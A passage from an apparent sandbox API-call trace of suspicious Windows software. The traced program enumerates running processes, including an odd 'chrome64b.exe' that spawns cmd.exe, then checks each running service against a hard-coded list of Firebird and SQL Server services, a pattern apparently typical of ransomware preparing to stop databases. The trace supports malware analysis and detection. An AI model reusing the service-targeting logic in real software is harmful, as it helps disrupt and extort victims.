szExeFile="svchost.exe")) returned 1 [0250.787] lstrlenW (lpString="svchost.exe") returned 11 [0250.787] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.788] lstrlenW (lpString="spoolsv.exe") returned 11 [0250.788] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.789] lstrlenW (lpString="svchost.exe") returned 11 [0250.789] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.789] lstrlenW (lpString="audiodg.exe") returned 11 [0250.789] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.790] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0250.790] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0250.790] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0250.790] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0250.791] lstrlenW (lpString="Memory Compression") returned 18 [0250.791] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.792] lstrlenW (lpString="svchost.exe") returned 11 [0250.792] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.792] lstrlenW (lpString="sihost.exe") returned 10 [0250.792] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0250.793] lstrlenW (lpString="MDMAgent.exe") returned 12 [0250.793] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.793] lstrlenW (lpString="taskhostw.exe") returned 13 [0250.793] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0250.794] lstrlenW (lpString="msoia.exe") returned 9 [0250.794] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0250.795] lstrlenW (lpString="userinit.exe") returned 12 [0250.795] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.795] lstrlenW (lpString="explorer.exe") returned 12 [0250.795] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.796] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0250.796] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.796] lstrlenW (lpString="SearchUI.exe") returned 12 [0250.796] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.797] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0250.797] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.797] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0250.797] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0250.798] lstrlenW (lpString="mobsync.exe") returned 11 [0250.798] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0250.799] lstrlenW (lpString="chrome64b.exe") returned 13 [0250.799] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0250.799] lstrlenW (lpString="chrome64b.exe") returned 13 [0250.799] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0250.800] lstrlenW (lpString="cmd.exe") returned 7 [0250.800] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0250.800] lstrlenW (lpString="conhost.exe") returned 11 [0250.800] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0250.801] CloseHandle (hObject=0x2a0) returned 1 [0250.801] Sleep (dwMilliseconds=0x1f4) [0251.671] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x680c40 [0251.681] EnumServicesStatusExW (in: hSCManager=0x680c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0251.694] GetLastError () returned 0xea [0251.694] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x7300c8 [0251.694] EnumServicesStatusExW (in: hSCManager=0x680c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7300c8, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7300c8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0251.696] CloseServiceHandle (hSCObject=0x680c40) returned 1 [0251.699] lstrlenW (lpString="AppXSvc") returned 7 [0251.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0251.700] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0251.700] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0251.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0251.700] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0251.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.700] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0251.700] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0251.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0251.700] lstrlenW (lpString="Audiosrv") returned 8 [0251.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0251.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0251.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0251.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0251.700] lstrlenW (lpString="BFE") returned 3 [0251.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0251.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0251.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0251.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0251.700] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0251.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0251.701] lstrlenW (lpString="CDPSvc") returned 6 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0251.701] lstrlenW (lpString="ClickToRunSvc") returned 13 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0251.701] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0251.701] lstrlenW (lpString="CryptSvc") returned 8 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0251.702] lstrlenW (lpString="DcomLaunch") returned 10 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0251.702] lstrlenW (lpString="DeviceAssociationService") returned 24 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0251.702] lstrlenW (lpString="Dhcp") returned 4 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0251.702] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0251.703] lstrlenW (lpString="Dnscache") returned 8 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0251.703] lstrlenW (lpString="DPS") returned 3 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0251.703] lstrlenW (lpString="DusmSvc") returned 7 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0251.703] lstrlenW (lpString="EventLog") returned 8 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0251.703] lstrlenW (lpString="EventSystem") returned 11 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0251.704] lstrlenW (lpString="FontCache") returned 9 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0251.704] lstrlenW (lpString="gpsvc") returned 5 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0251.704] lstrlenW (lpString="iphlpsvc") returned 8 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0251.704] lstrlenW (lpString="KeyIso") returned 6 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0251.705] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0251.705] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0251.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0251.705] lstrlenW (lpString="LanmanServer") returned 12 [0251.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0251.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0251.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0251.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0251.705] lstrlenW (lpString="LanmanWorkstation") returned 17 [0251.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0251.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0251.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0251.705] lstrlenW (lpString="lfsvc") returned 5 [0251.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0251.706] lstrlenW (lpString="lmhosts") returned 7 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0251.706] lstrlenW (lpString="LSM") returned 3 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0251.706] lstrlenW (lpString="MpsSvc") returned 6 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0251.706] lstrlenW (lpString="NcbService") returned 10 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0251.707] lstrlenW (lpString="netprofm") returned 8 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0251.707] lstrlenW (lpString="NgcSvc") returned 6 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0251.707] lstrlenW (lpString="NlaSvc") returned 6 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0251.707] lstrlenW (lpString="nsi") returned 3 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0251.708] lstrlenW (lpString="PcaSvc") returned 6 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0251.708] lstrlenW (lpString="PlugPlay") returned 8 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 